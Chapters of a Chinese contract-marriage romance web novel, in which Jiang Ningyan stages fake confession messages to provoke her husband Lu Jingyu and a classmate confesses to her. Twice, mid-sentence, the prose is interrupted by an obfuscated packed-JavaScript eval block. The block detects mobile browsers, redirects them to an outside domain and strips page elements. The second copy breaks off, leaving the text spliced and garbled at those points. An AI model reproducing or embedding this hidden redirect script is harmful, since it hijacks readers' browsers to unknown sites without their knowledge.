江凝烟口才好,演讲也是从小练习的,说起感谢辞来,那叫一个声情并茂感人肺腑。实力是能把尸体给说得暖烘烘的。 陆京御就在边上看着她滔滔不绝,用温柔的眼神注视着,时不时摸摸她的头发,时不时笑一声。 江哲被拉着聊了半天,免不了喝几杯,很快感觉头晕了。 江凝烟哎哟一声,“叔叔,这不然今晚在这儿睡吧,这样上车得吐了。” 陆京御瞄了她一眼,“江叔就睡这儿吧。” 江凝烟跟江叔的司机知会了声,又把江叔安顿在楼下客房,然后就跟着陆京御上楼了。 走到两人的房间门口,江凝烟表情为难地注视着他,“明天早上起来万一他看见我们不是从一个房间出来不大好吧?” 陆京御眉梢微动,淡淡地道:“进来吧。” 哦吼! 没想到这么顺利! 屋里点的灯很暗,但依旧能朦胧看清一切。居然没有特别冷感,布置的挺温馨。室内软装搭配都是暖色调。虽然房间大,但因为东西填得多,还有很多软装,所以倒也不显得空荡。 书桌书柜用材都很考究,木材在昏暗的灯光下都闪着光辉。书桌是双人的,非常长,大概有两米多,靠着窗户,拐角处立着两个书架。两把人体工学椅,一把是白色的,一把黑色的。椅子上面都放了透气的坐垫。电脑也配了两台,上面挂着两个耳机。 连看电视的投影仪都放了两个。 呃。 这本就是婚房来着。 江凝烟内心哂笑。 都准备得这么好了,干嘛不让人家进来了呢?非得让人家动脑子耍心机才开门。 她表面很感动地望着他,“你都准备了两套?这书架书桌好有质感啊。” 陆京御又露出那种目光灼灼的温柔表情。 这里没有摄像头,屋里也没人监控,他还这么温柔,惹得江凝烟心脏怦怦,气氛忽然变得旖旎。他背后有一片窗,好巧不巧的,今儿的月特别金灿圆亮,低低地坠着,嵌在窗框上,映在墨黑的天上,唯美得像是一副名家油画,更衬得他眉眼温柔。 “好看吗?”他问。 她连连点头,“好看,是什么木头?” “红酸枝。喜欢么?” “喜欢!” “很喜欢?” “很喜欢!” 陆京御点头,“那我把销售名片推给你,你可以找他们买。” 他低头掏出手机,不愧是霸总,办事效率极高地把微信名片推给了她。 江凝烟:“。” 见她尬住了,他泄露一丝心满意足,欠得要死地说:“不用谢我。” 他潇洒地转身。 江凝烟:“。” 江凝烟:“。。。。。。” 江凝烟:“。。。。。。。。。。。。” 玩我是吧? 那就看谁玩得过谁了。 得给他添把火。 她拿着手机,跑去阳台上,打了她从小到大的闺蜜王亦薇电话,“薇薇,等会让你男朋友给我发微信表白。连续小作文,每条二十字左右,发个十条,疯狂表白。” 江凝烟唇角勾起抹坏笑,就不信陆京御看不到。 王亦薇大叫,顿时紧张起来,“啊?你要干嘛?让林嘉宇跟你表白,姐妹你想干啥?” 江凝烟转身看了眼落地窗,确定没人后,嚣张兴奋地说:“泡男人。我要让他为爱发疯。” 王亦薇哈哈大笑,“卧槽,你是要让陆总发疯是吗?” “嗯,这哥需要调教。”江凝烟理直气壮。 王亦薇捂嘴笑,“好好好,那姐妹必须帮你。我跟林嘉宇在一起呢,我跟他说一下。” 电话里传来林嘉宇果断的拒绝声,斩钉截铁地道:“我不要。” 江凝烟:“?” 王亦薇:“???” 林嘉宇:“我不要跟你以外的女生表白。” 江凝烟:“……” 哟吼。 猝不及防就吃了一口狗粮。 江凝烟气得哈了一声,“薇薇,你俩可千万别分手啊。你俩分手,我再也不相信爱情了。” 这两人从小一起长大,青梅竹马,大学也在一起上,林嘉宇除了爱起来癫狂别的都挺好的。这样的感情到最后成不了,这世界上就果然没有爱情。 林嘉宇小时候有轻微的注意力缺陷与多动障碍,比一般孩子发育迟缓,又易怒,刚上小学就开始被人排挤孤立欺负,王亦薇像个小太阳一样温暖了他。他那点缺陷过几年居然就好了,成绩越来越好,越来越展现出令人乍舌的理科天赋,还考上了京大。真的挺奇迹的。 江凝烟却觉得林嘉宇小时候那应该就是误诊,应该不至于是爱情的力量。 “你少来。”王亦薇笑道,“你本来就不相信。这锅我不背。” “你还想分手?”电话里的林嘉宇的音调倏地变了。 两人当江凝烟是个尸体,就在电话那头闹了起来,王亦薇咯咯咯直笑,滚来滚去,最后以N声暧昧的吧唧声结束。 江凝烟:“。” 感觉尸体,受到了鞭刑。 她缓了下才说:“这样吧,我也不为难林嘉宇。薇薇,我把你备注改成宋初霖的名字。等会你给我疯狂表白就行。挂电话先给我发个晚上好。等我回你的时候,代表他已经洗完澡出来了,你就开始时不时地给我发表白微信,等我回复你为止哈。谢啦!” 她找人假冒也得假冒个有 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“你想得美,只能展现出你跟宋大校草的云泥之别。人家宋大校草多优秀啊,那作文从小就是参考作文,小小年纪就出了诗集、散文,真正的大才子,长得那一双桃花眼,看电线杆都深情,运动更是,但凡他打篮球,女生们都得注意安全防踩踏防猝死。校草评选大赛怎么评论他来着?‘忧郁的眼神,英朗的五官,俊秀却不阴柔,独一无二的气质,少年感满满,当之无愧的校园男神。’”她笑弯着眼,眼底狡黠地说,“薇薇,你说,是吧?” 王亦薇:“……” 王亦薇感觉身边寒气森森的,压低声音嗔了句江凝烟,“你别害我啊。他等会你老公没发疯我男朋友发疯了。” 他喵的就是很帅啊。 这大实话她能说吗? 她推了下林嘉宇,“好了好了,你幼不幼稚啊?都优秀。” 林嘉宇不依不饶,“都?那你怎么不找他做男朋友?” 王亦薇:“。” 是我不想吗? 林嘉宇声音更低,“不然你,都,试试?看看到底谁优秀?” 王亦薇:“。” 江凝烟哈哈大笑,笑得前俯后仰,拍案叫绝,“好好好,我觉得这主意不错。” 王亦薇:“。” 江凝烟撤了,“好啦,不说啦。” 你们玩刺激的去吧。 挂掉电话,转身看见陆京御就站在落地玻璃窗里面静静地看着她。 她心脏猛地一跳。 室外的秋日的风吹在身上蓦地有点发凉,像是沾了夜里的露水拂在她裸露的颈部皮肤上。 他听见了? 她刚才说得好像挺大声,四周空旷寂静,声音可能真能隔着玻璃窗传过去。 听见了? 生气了? 江凝烟颤抖。 哎哟。那可太好了。 她敛住表情,内心十分期待地拉开玻璃门。 他穿着得体的冰丝深蓝睡衣,但是脖子上的水珠有两颗吸在他的喉结上,喉结滚了一下,吸不住了,咕噜噜滚落,顺着胸前沟壑往下,蜿蜒没入睡衣里。深V让胸前两片肌肉十分显眼,厚薄刚好的两片肌肉线条,完美到让人期待他的腹部线条。 他擦头发不大耐心,大概随便擦了几下,头发还半湿着,眼镜摘了,睫毛都湿漉漉的,丹凤眼被水浸湿了一圈,眼尾发着潋滟的红晕,这模样瞧着让人心肝乱颤。 好像下一秒,他可能就把他布满青筋的手拿起来,掐住她的腰,她的下巴,又狠又带劲地吻上来。 “在跟同学聊什么这么开心?”他语气依旧平静。 江凝烟一阵失望,遮掩道:“没什么,你洗完了啊?我马上去洗。” 她低头掠过他身边,把王亦薇的微信清空了,并且直接改了备注:宋初霖。 她把手机随手撇在床头柜,一溜烟进了浴室。 江凝烟在浴室里激情澎湃地唱着壮烈扑火的《燕尾蝶》。 【......为你放弃自由,要为你左右。】 【你是火,你是风,你是织网的“恶魔”。】 ...... 【你是火,你是风,你是“天使”的诱惑。】 ...... 【让我短暂快乐很感动。】(1) 浴室里唱歌显得声音特别嘹亮,翻唱得特别激情。 陆京御坐在床边的单人沙发上,单手支在沙发上,手撑着额,静静地听着歌。 额前的碎发遮住他的半张脸,本就窄长的脸看起来下颚下巴更加精致。 他唇角勾起抹嘲讽的笑。 她为他放弃自由? 他是织网的恶魔? 她是天使? 她还要短暂的快乐? 哼。 分明觉得人家男孩子那么好。 还要在他这里要短暂的快乐。 到底谁恶魔啊? 嗯? “叮咚。” 昏暗的光线下,江凝烟的手机屏幕亮了一下。 一开始,陆京御没管。 “叮咚。” 陆京御依旧没管。 “叮咚。” 陆京御撩起眼皮,望向手机的方向。 “叮咚。” 陆京御起身,往那儿走去。 “叮咚。” 微信通知竟然没有设置隐私,一条条来自宋初霖的微信这么猝不及防的撞入陆京御的视线里。 陆京御就一动不动地静静立在那儿,眼皮微垂,屏幕的光点亮着他的漆黑的眼,黑暗的瞳孔像是深渊般深不可测。 “叮咚。”xN。 这时,浴室的门轰然打开,穿着单薄吊带睡衣的江凝烟被热气烘托着出来,粉面桃腮。 她哼着高亢的调,这首燕尾蝶高潮部分循环了无数遍,总算落到了重点,【让我快乐让我痛。】 5. 试试 浴室的热气在两人身边流动。 江凝烟眼神瞟了一眼她的手机,屏幕一直在闪烁。 她没动,就等着他反应。 他会吃醋?嫉妒?发疯?爆炸吗? 光线昏昧,陆京御肩膀宽阔,冰丝贴在他的肱二头肌上,光是静静地站着就让人感觉到暗涌的性张力。 江凝烟不由地咽了咽口水。 身材真的很好。刚才被他揉在怀里,对他那双臂膀更有认知。 陆京御望着她,倏地讽笑着冷哼一声,江凝烟心脏猛地一跳。 来了、来了、来了! 江凝烟,要快乐是吗?我给不了吗?男大比我好吗? 然后,锵锵酿酿,嗯嗯啊啊。 江凝烟心脏怦怦怦狂跳。 “宋大才子,就这水平?”陆京御冷淡地说。 江凝烟:“?” 陆京御哂笑道:“情话土得掉渣,就这水平也能被吹上天?” 江凝烟:“??????” 我嘞个豆。露破绽了! 江凝烟像一支箭般冲过去,看了眼“宋初霖”给她发的微信。 宋初霖:那天惊鸿一瞥,一世坠入深渊。烟烟,你是我今生渡不过的情劫。 宋初霖:今晚月圆,我承诺爱你永远不变,风说带我的爱念去你身边。 宋初霖:我告诉自己一切随缘,但我眼看着自己沉沦疯癫。 宋初霖:…… 江凝烟扶额,哭笑不得。 王亦薇……也是尽力了……她一个理科生……她真的很努力了…… 她觉得,她写得挺好。 真的,挺好。 真挺好。 但确实…...跟宋初霖这种天生的大诗人水平深刻体现了天才的随意和凡人的努力之间隔着一整条银河。 可是,前面还挺努力。 后面,那是什么玩意? 宋初霖:你是电,你是光,你是唯一的神话。① 宋初霖:我只爱你,you are my superstar。② 宋初霖:…… 这明显是,那水平都写不出来了,歌词来凑。 她仿佛能想象王亦薇灵感枯竭哭唧唧的表情。 啊,她也想哭。 江凝烟:“。” 姐妹,别太离谱。 她尴尬地说:“看来爱情使人降智是真的。” 陆京御鼻腔若有似无地哼了一声,那双摄人心魂的丹凤眼瞧着她说: “这人不是宋初霖。” 江凝烟心口一跳。 哥哥你真聪明啊。 “嗯?怎么说?” 陆京御笃定地说:“文笔天生好的人和硬凹的人我还能看不出来?” 江凝烟:“……” 陆京御:“尤其凹到最后还灵感枯竭凹都凹不出来的人。” 江凝烟:“……” 江凝烟试图圆过去,假装深思说:“那是有人觉得冒充宋初霖比较容易加到我?然后想跟我微信聊天网恋,最后转正?” 陆京御目不转睛地注视着她,那眼神好像是X光,能把人骨头都看穿,好像在说:京大还有这么蠢的人?这不妥妥地为他人做嫁衣吗? 江凝烟被他看得心虚,揭过话题,“哥哥好像对文学也挺有研究?” 她手指在屏幕上滑,试图毁尸灭迹,删掉“宋初霖”。 “啪。”陆京御倏地抓住她的手腕,阻止她。 江凝烟像是被捏住了心脏。 陆京御说:“别删啊。” 江凝烟:“……” 干嘛还不让人删呢? 陆京御笑着,“你删了我怎么帮你查这人是谁?” 江凝烟:“……” 不是。咱能不这么热心吗? 能不帮这个忙吗? 一查不就直接知道是王亦薇了? 知道王亦薇不就知道是她干的了? 那一瞬间,她心虚到几乎想破罐子破摔,直接坦白了她想上他。但她太主动了容易被他拿捏,比如他要她把那些条款都作废,还是让他主动比较好。 这时,王亦薇贫瘠的词汇库还在排列组合,发出各种土味情话。 默了几句歌词,她开始连歌词都蹦不出了,过分直白。 宋初霖:【烟烟,跟我在一起吧!你不回话我就当你答应了!】 宋初霖:【明天上午八点图书馆一楼见!】 江凝烟简直没眼看了。越说越暴露。 见什么见,冒牌宋初霖一见就暴露了啊。 果然,陆京御说:“你说你要是明天真跟宋初霖在一起了,这位冒充的同学岂不吐血了?” 江凝烟:“……” 他上半身微倾,江凝烟觉得眼前被一片阴影笼罩。 他捏住她的手腕,将她的手抬起来,折成九十度。 她的手指彻底离开屏幕。 她穿着吊带,手臂一抬,胸口自然挺直。 “京大……有这么蠢的人?”陆京御的眼里侵略性很强,但目不斜视,只注视着她的眼,她都这样了,他只看她的眼,就有股特别让她抓心挠肺的禁欲冷淡劲。 江凝烟没扯回自己的手,反倒是像腿软般后退了两步。 踉跄着将自己的后背贴到了墙上,连拽着陆京御猝不及防地往她身上扑。 她的手背贴在墙上,手被身体失衡的陆京御的手用力压着。陆京御另一条胳膊用肘关节堪堪支撑住自己没跟她撞个满怀。 但已经形成了标准的壁咚。 陆京御脚尖塞在了她两脚间,一条腿也挤进了她的腿间。 两人的手和腿都交缠着,上半身没挨这么结实,但胸口若有似无地贴在一起,随着呼吸起伏若即若离地相触。 他床头有一盏奇异的灯,是玫瑰花氛围灯,摸一下顶端就能发光并且转动。 他们摔到墙上的时候,他的睡衣衣角拂到了灯顶,从上往下看像是一朵盛放的玫瑰。 暗红色的光芒在他们脸上变化。 江凝烟近距离地盯着他的眼,能在他眼底看见自己小小的倒影,能看见他根根分明的睫毛,看见他的丹凤眼被光线调了色,瑰丽到令人屏息。 陆京御眼尾上扬,眼神戏谑,“怎么?这屋里也装摄像头了?” “你干嘛?你刚吓到我了,我腿软。”她专业碰瓷,嗔怪道。 陆京御好笑,声音很哑,听起来倒是很温柔,“你确定是我吓到你?不然,我帮你回忆下你今天都对我做了些什么?” 到底谁吓谁? 不必了。 江凝烟忽而一笑,“不过正好。” 她另一只手拿起手机,拍了一张两人交握的手。 而后,将照片发送给了对方,并且,在陆京御的注视下,手指一字一字地打出:【同学,我、结、婚、了。】 发完之后,删了他,推开陆京御,将手机丢在床上,说:“管他是谁,解决了。” 她直接往床上四仰八叉地一躺,有种占山为王的嚣张,半挑衅半诚恳地道:“谢了啊哥。有你真好。” 陆京御站在床边,怔住。 江凝烟没有在学校公开过已婚的身份。 他矗立在床边,看不出什么情绪地注视着他,足足十秒,屋里一点动静都没有,只有玫瑰花氛围灯光线在他脸上旖旎。 陆京御倏地扯住被子一角将她卷起来。 “啊啊啊啊!”她在床上翻滚,瞬间就被卷成了蝉蛹。 陆京御连人带被一把抱起,抱到边上的贵妃躺椅上。 江凝烟在贵妃躺椅上像条毛毛虫一样扭动,裹得太紧了,她根本挣脱不了,要是在贵妃椅上打滚会摔下来,“哥你干嘛?” 陆京御隔着蚕丝被按住她的肩膀,“惩罚。你今晚就睡这沙发。” 江凝烟扭动,“不要,我超娇贵,我睡眠不好,我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698965|157003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失眠,我要睡床的。” 陆京御摁住她扭动的双肩,“那个宋初霖是你朋友王亦薇吧?” 江凝烟像是被定住,“不是啊。你怎么会这么想?” 陆京御道:“全校只有她知道你的家世,你只肯告诉她我们的关系,不是她是谁?” 江凝烟:“……” 大哥,从今以后推理大师的头衔让给你。 你行,你可以。 你真的可以。 她承认,今天这计划实在太仓促了些。比如,有时间的话她能想到跟王亦薇串供,给她提供些告白台词,就不至于当下被识破。 下次再搞事,计划得周密些。 江凝烟扯开话题,“你还记得王亦薇啊?” 他们办婚礼的时候,除了圈子里的人,她小学到大学的同学确实只请了王亦薇一个人,林嘉宇不能算一个人,他只是一个赠品。 当时他们办婚礼现场那么多人,他居然还能记清楚王亦薇的名字。 “你智商测过吗?” “156。”陆京御转身去拿枕头。 “哇哦。”江凝烟情绪价值给满,“这么高,天呢,好厉害。知道你聪明,不知道你这么聪明。哥你好棒啊。” “再怎么吹捧你今晚也只能睡沙发了。”陆京御抬起她的脖子,给她塞好枕头,冷酷无情地道。 江凝烟八百个心眼子又动了一个。 半小时后。 她在贵妃躺椅上呼呼大睡,就是睡相不怎么好,翻过来滚过去。她挂在贵妃椅上摇摇欲坠,陆京御只能从床上爬起来,跑去救她。 他隔着被子巴拉了她两把她的腿和腰,将她往里头挪一点。 但她一脚把被子踹开了。 陆京御:“……” 陆京御被她吓了一大跳。 她就穿了件吊带睡衣。 这一脚,险些把内衣都踹出来,露着两条白花花的大腿。 他撇开眼,随手把被她踹掉的被子盖上。 疑似装睡,陆京御就坐在她床边,看她究竟想耍什么花招。 困意袭来,他打了个哈欠的功夫,就见她又是一脚,一个翻身,从贵妃躺椅上滚下来,陆京御用这辈子最迅速的鱼跃动作垫在她身下。 “啊——”江凝烟还是惨叫出声。 陆京御这一下脊背、胳膊肘和胸口都生疼,那一瞬间,他不知道是在罚她还是罚自己。 关键,她胯骨,压到他,小京御了。 江凝烟睁眼就看见陆京御在她身下痛苦的表情,她反应很快,立刻坐起来,眼睛下意识地关怀他最重要的地方,“啊,我压到你了,没事吧?” 她屁股就坐在他腿根附近,垂眼慌张又关切地看着。 忽然,眼前一片漆黑。 他用腰腹的力量仰卧起身,抬手蒙上了她的眼睛,温热的呼吸在她耳边盘旋。 她坐在他腿根,离他腰腹很近,能清楚地感受到他腰腹那股猛劲的爆发力。 她的心脏像是一只跃起的绵羊,蹦跶得很高,还通体软绵绵的。 “看哪儿呢?那儿是你能看的?”他声音有点危险,拖腔带调的,唇分明没碰到她的耳朵,但她耳朵却着了火。 看看怎么了?她没上手已经很客气了。 她睫毛挠了挠他的掌心,一本正经地说:“我感觉我胯骨砸到你了,你别逞强啊,不然你试试有没有异样?” 一室寂静。 他的轻笑声打破了这片寂静。他撑着地的一条手臂抬起来,虚虚捏住她后颈,“你想我怎么试啊?” 江凝烟像是被半拥在怀里,那只绵羊又连续跳跃了好几下。 她眼前一片漆黑,听觉感官被放大,他的声音都很撩人,撩拨得她脸上红温,热度越来越高,“嗯?你不知道吗?” “你好像知道的样子。”他侧脸,看着她的表情。 她说:“我就是不知道这需不需要别人帮助。” 6. 别招我 还需不需要别人帮助,这真的把陆京御搞震撼了。 “哦……那需要别人帮助你帮我吗?”陆京御慵懒散漫地问了句,想确认个明白。 “当然可以啊!”江凝烟义不容辞地说。 陆京御呼吸滞住,浑身僵了一瞬。 当然……可以? 室内黢黑,静悄悄的,没有一丝声响,连呼吸都听不见。 但黑暗与寂静都遮掩不住激情在暴烈的发酵。 江凝烟清晰地看见他漆黑沉静的眼眸里有什么浓烈的东西在沸腾、呼啸,狂舞,即将撞响这迷人的长夜。 江凝烟的心脏随之狂跳,咚咚咚地震耳欲聋。 倏尔,屋里传来一片笑声。 他胸腔震动笑起来,低沉悦耳。 他身上好闻的沐浴露香味随着他震动,像羽毛挠着她的皮肤。 他将她轻轻抱入怀里,跟眼底的情绪相反,他的手很绅士,没碰她裸露的脊背,而是抚了几下她的后脑,温柔又郑重地说:“烟烟,要想跟我过就好好跟我过,要是不想跟我过,别玩我,我会生气。” 他松开她,眼眸再次近距离跟她对视,幽寂的夜里,两人的距离不超过十公分,好像身边的空气都改变了平静的磁场,构成一个个深暗漩涡,将人吸噬进去。 江凝烟怔住,她知道他在等她选择,但她一时间没有回复。 “你睡床,我睡沙发。”他轻叹了口气,抚摸了两下她后脑,然后,松开她起身走进浴室。 他身上的味道从她身边散去,江凝烟莫名有点怅然若失。 他的气味好像渗入了她的魂魄,抽离的时候,连带她的魂魄一起抽离。 她喜欢他身上的味道,喜欢他的每一块肌肉,喜欢他的每一根骨骼。 但是,别玩他,他会生气。 这句话一放,江凝烟只能老实了一晚上。 江凝烟其实觉得这事怎么着都是男人占便宜,她一个水灵灵的大美人,哪委屈他了? 他一个男人跟女人睡觉还会生气? 这叫玩他? 这不是一起愉快地玩耍吗? 想不明白,江凝烟抑郁,郁闷着郁闷着就睡着了。 翌日,江凝烟去学校上课,中午的时候没课,下午在学校又有课,所以,她中午去食堂吃饭。 王亦薇和林嘉宇赶过来堵她刺探昨日军情。 王亦薇笑得像个小精怪,满眼期待地问她,“发疯了吗?” 江凝烟失落地摇摇头,“你的那些大作,他一眼就看出不是宋初霖。” “啊?不会吧?怎么会这样?”王亦薇脸上顿时红温,无地自容地尬笑道,“哈哈哈,我写得那么不好吗?” 江凝烟给她竖了个大拇指,给足了她情绪价值,“我觉得非常好。但咱毕竟天赋不在这块儿,跟公认的大诗人宋初霖有点差距,正常。” 王亦薇不好意思极了,凑在她耳边,“诶,昨天提起宋初霖嘛,得到一个惊天大消息。” 江凝烟完全没兴趣,巴拉了两口饭。 但王亦薇显然非常有兴趣说,滔滔不绝地道:“听说他在寝室里写了一首情歌。自己谱曲自己填词的,据说写了整整一个月终于写完了。卧槽,这也不知道是要唱给谁听。全校女生都激动得不得了。” 江凝烟啃了口鸡腿,“拿来卖的吧。” 王亦薇:“。” 她嘎嘣住了。 “你怎么确定?” “当然,也可能拿来卖的,顺便唱给某个女生听。” 王亦薇刚才身边冒出的无数浪漫泡泡,像是被无数银针一下子戳破了,她狠狠拍了一下江凝烟,“你这脑子里,能不能想些女孩子该想的啊。” 江凝烟反问:“女孩子想致富怎么了?” 王亦薇:“……” 这她反驳不了。 “叮咚。” 这时江凝烟的手机闪烁了一下,一条微信进来,名称是宋初霖。 “卧槽,这是真宋初霖!”王亦薇顿时从座位上蹦起来。 林嘉宇阴森森地说:“你那么激动做什么?” 王亦薇想起昨晚发怂,坐下来强装淡定道:“我替姐妹激动。说不定这情歌就是写给烟烟的,那宋大才子要受挫了。” “我看你就是看见他名字听见他名字就激动。”林嘉宇声音发狠,“他就那么好那么能引起你注意?” 江凝烟自动忽略两人在她耳边的吵闹声,打开微信看了眼。 宋初霖:【烟烟,你在食堂?吃完饭能过来过来云璟湖的银杏树那儿吗?有点事找你。】 江凝烟跟宋初霖才认识没多久,今年金秋的文艺晚会上认识的。 学校里让他们两人做节目主持人,两人就一起准备了下。 写主持台词写舞台剧脚本的时候也是一起讨论,就这么认识了。 不过,晚会也过去个把月了,宋初霖还是第一次找她。 江凝烟:【好。】 - 金秋的银杏树已经开始飘叶,中午热烈的阳光晒在金色的落叶上,一群鸭子在水面上拍翅溅起阵阵波光,金光与水光变幻着交织旋转。 宋初霖就站在这片光影中,他长了一双会说话的眼睛,眼神自带文艺男的敏感细腻,看起来就共情力非常强,让人很容易对上磁场而喜欢他。他身材也练得不错,整个人不显得单薄瘦弱,而是充满令少女们怦然心动的少年感。 出版社给他这么打的广告:百年一少年,长相已是绝色,才华更是绝无仅有。 极高的评价,但江凝烟觉得宋初霖确实配得上。 他只要不忽然才华枯竭,就是文学界的瑰宝。 他在那站了一会,身边路过的姑娘们就频频回头,那步伐迈得比乌龟还慢。 看见江凝烟过来,他眼睛笑起来。 他的眼神让江凝烟感觉有点不适,因为她想到了一句话:看狗都深情。 “嗨,找我什么事啊?”江凝烟问道。 宋初霖比她还高半个头,仰头看着他刚好被阳光射着,很刺眼,江凝烟下意识地用手挡阳光。宋初霖很细腻,发现了她的不适,拉了把她的手腕,两人站在树下,江凝烟的眼睛就好受了。 他这个动作,让边上本来就像乌龟的路人们,顿时停下脚步。 “啊,太温柔了吧,想谈。” “这当男朋友也太好了吧,感觉好会照顾人。” “他俩干嘛呢?谈上了?” “文艺晚会我就觉得这两人金童玉女,太配了吧!” 宋初霖很习惯周围这种叽叽喳喳的氛围,没当回事,直接说:“我这一个月自己作词作曲写了首歌。” “哦,你想让我帮你看看?”江凝烟问。 宋初霖笑了,漆黑的眼底像是被光渗进去了,很亮,“不是。我写了一个月,怎么写都不满意。” “不会吧?”江凝烟纳闷了。 不至于啊,文艺晚会的时候,他也有作曲作词,非常惊艳,依他的才能居然写了一个月怎么写都不满意? “是曲子不满意还是词不满意?会不会是你要求太高了?”江凝烟问。 “是配不上你。”宋初霖说。 江凝烟怔住。 边上的观众们立刻get到他的意思了,传来一阵压抑却要撕破喉咙的尖叫声。 “写出来的文字和曲子怎么都配不上你。”他又重复了一遍,眼底毫不遮掩的炙热滚烫,像是太阳表面的等离子体,在对流,燃烧,嗥叫。 王亦薇躲在树后拍案叫绝,懂了!宋大才子是这么表白的! 返璞归真!!! 竭尽我顶级才华写出来的诗和歌,依旧配不上你,还有什么赞美能让女孩子更高兴? 江凝烟眨眨眼。 她从未见过宋初霖这样的一面,宋初霖的气质跟雨比较贴,细细的,忧郁的,唯美的,而眼前的宋初霖像是热烈的骄阳,这种反差让人不由得多看几眼。 “我发现我不管怎么写,不管写多久可能都不会满意。”宋初霖表情有些懊丧,眼眶发红,那双眼睛就这么猝不及防地湿润起来。 江凝烟惊呆。 不是,怎么还哭上了? 王亦薇手指塞在唇边压低声音尖叫,脸都红温了。 受不了了! 这谁能受得了! 哭着表白! 我的天呢,宋大才子爱上已婚女子,注定大Be! 天呢,他哭起来好好看,她心都疼了。妈妈抱抱! “我只好放弃给你写歌,直接告诉你,烟烟,我很喜欢你。”浮动的光波落在他湿润的眼睛上,微光颤动,漂亮,感性,却不显得阴柔。 围观的人太多,江凝烟没有直接给答案,她早就习惯这种场景,会给人留颜面,说:“我想想再回复你。” 从那片湖离开,王亦薇就一直研究着她的脸,目光像是要在她脸上盯出两颗洞来。 江凝烟的眼神扫过来。 她终于忍不住开口,“姐妹!姐妹!你怎么忍得住啊?就他那双眼睛,你居然扛得住?你怎么还这么冷静啊?” 江凝烟无语地道:“我已婚。” 边上的林嘉宇总算认同了江凝烟一次,“哟,还行,人家比你有道德感。” 江凝烟笑眯眯地道:“不不不,已婚和有个男朋友可不一样。我要是只是有男朋友,说不定就踹了男朋友,跟宋初霖好了。” 林嘉宇的脸色骤然变黑。 江凝烟瑕疵必报,“毕竟,不是谁都是宋初霖。” 哈哈哈哈。 气不死你。 林嘉宇:“……” 江凝烟上课前总算一个人静了一会,靠在一片墙角下给宋初霖发了个微信:【宋初霖,对不起,下次别这样,我不想谈恋爱。】 江凝烟对追求者都没有用已婚身份来拒绝,如果用已婚身份来拒绝,那身边的人早就知道她已经结婚了。私事,她不想跟无关紧要的人说太多。 况且,她的婚姻也是假结婚。 但她没想到表白风波最终还是吹到了陆家。 晚上,她忽然被邀请到陆家老宅家庭聚餐,然后,餐桌上,陆爸爸突然问起,“宋家的那个大才子是怎么回事啊?怎么我们陆家的儿媳妇,他还敢表白?” 像是宁静的夜空忽然响起一道惊雷,江凝烟睫毛似是被雷惊到的鸟儿猛地一拍翅,转眸瞥向陆京御。 她发现陆京御也怔了下,而后,神情不慌不忙地给江凝烟添了一勺汤。 陆爸爸还在说:“宋枝意那些亲堂兄弟没一个能成事的,她爸爸的堂弟的儿子宋初霖小小年纪就出了诗集,宋枝意还挺高兴,年轻小辈里,总算有个有才华的了,还跟我提起过,现在看来,这孩子太不懂事了。” 江凝烟还真不知道宋初霖还有这背景。宋枝意爸爸的堂弟的儿子,这关系跟他们圈子,说近不近说远又不远。 京城名媛圈谁不知道宋枝意,嫁给了顶级富豪顾御洲,自己家里也是百亿家族。但她跟宋枝意年纪差得多了,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆京御也没赶她,眼眸迷离地瞥了她一眼任由她搀扶着。 江凝烟观察他确实喝得有点多,脚步略微虚浮,心思又涌上来。 院子里的喷泉前,浊白的泉水咕噜噜翻涌着。 他大剌剌地敞着长腿,一条长臂搭在她身后的长椅背上,看起来像半拥着她。他酒后动作倒是特别舒展,靠在长椅背上,仰头看着深黑的夜穹。 长椅边上就立着一盏灯,陆京御这姿势,喉结像是反光的宝石。 他喉结一滚,说:“坏了。” 江凝烟大惊失色,“我了个豆,真坏了?” 她眼神又往他那儿挪。 陆京御整个人静止住。 她起身,蹲在他微敞的腿间,从下往上看他,“你白天去看过了?真坏了?那你今天还喝这么多?” 陆京御真的是硬帅,居然从下往上的死亡角度,都能轮廓分明。 陆京御微迷离的眼眸盯着他腿间的她。 江凝烟长着一张让人醉意加深的脸,唇红齿白,巴掌大的小脸,自带电波的电眼。清醒着都能令人迷醉沉沦。 他本来的意思是,坏了,他答应她的条款可能有条得改了。 她这一年最好不跟别人谈恋爱,尤其是姓宋的那个小子,因为那可能会让外界知道他们夫妻不和。 但她总能搅局。 喝完酒本就浑身滚烫,这下像是有把火在他下半身燃烧。喷泉边的白浪像是卷着热浪一层一层朝他翻涌。他不自觉的,脚尖动了下,鞋尖磨在地上粗粝的青石板上,像是磨着他身体的肌肤,因为他在一寸一寸将她圈紧。 他的呼吸不由得变轻,不动声色的。 蓦地,他脚下晃过一片影子,是有人想来喷泉这儿关水,但见他们两坐在这儿,像是被惊到了,飞也似地遁了。 陆京御失笑。 他抬手挡住她的眼睛,将她拽起来,让她坐在自己腿上,把她的脑袋摁在自己的肩上,眼不见着她的眼为净,“昨晚跟你说明白了,怎么还招我呢?” 江凝烟下巴搁在他坚硬的骨骼上,回抱他,手攀上他结实的肩胛骨,他的每根骨头都像长在她的心巴上,好有张力,“你长成这样就该知道是这个后果。” 陆京御语塞了好一会,又是笑,“还是我的不是?” 江凝烟理直气壮,“那不然呢?” 陆京御语气忽然变得凉飕飕,“我长这样就活该被你始乱终弃?” 完了完了,醉酒了脑子还这么清楚。 不好骗啊。 他们约定好一年后,等她拿到财产他们就要离婚的。他说协议作废,但她没同意,她怕一时冲动换来一辈子的枷锁。 不是始乱终弃。 是一起愉快地玩耍,好吗? “哥,你好温柔。”她的手掌在他宽阔的后背游走,千穿万穿马屁不穿,“我惹你生气了,你还抱着我哄。你生气都这样温柔的吗?” “想得美。”陆京御声音夹着丝笑意,语气不轻不重地警告道,“我轻易不生气,生气很可怕。” 